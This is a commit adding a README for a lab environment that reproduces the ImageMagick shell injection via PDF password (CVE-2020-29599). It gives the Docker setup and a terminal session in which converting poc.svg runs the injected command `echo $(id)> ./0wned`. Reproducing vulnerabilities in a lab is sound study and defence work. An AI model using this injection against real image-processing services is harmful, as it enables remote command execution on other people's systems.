first commit

imagemagick/CVE-2020-29599/README.md

@@ -0,0 +1,38 @@
+# ImageMagick Shell Injection via PDF Password (CVE-2020-29599)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
+
+References:
+
+- https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
+
+## Environment Setup and Exploit
+
+Execute the following command to enter the Linux shell where Imagemagick 7.0.10-36 is installed:
+
+```
+docker compose run im bash
+```
+
+Enter the `/tmp` directory and convert the format of [poc.svg](poc.svg) to trigger the vulnerability:
+
+```
+root@f200ec9e1c1e:/# cd /tmp/
+root@f200ec9e1c1e:/tmp# ls
+poc.svg
+root@f200ec9e1c1e:/tmp# identify poc.svg
+poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
+root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
+sh: 1: : Permission denied
+convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
+Aborted
+root@f200ec9e1c1e:/tmp# ls
+0wned  poc.svg
+root@f200ec9e1c1e:/tmp#
+```
+
+The command `echo $(id)> ./0wned` has been executed successfully:
+
+![](1.png)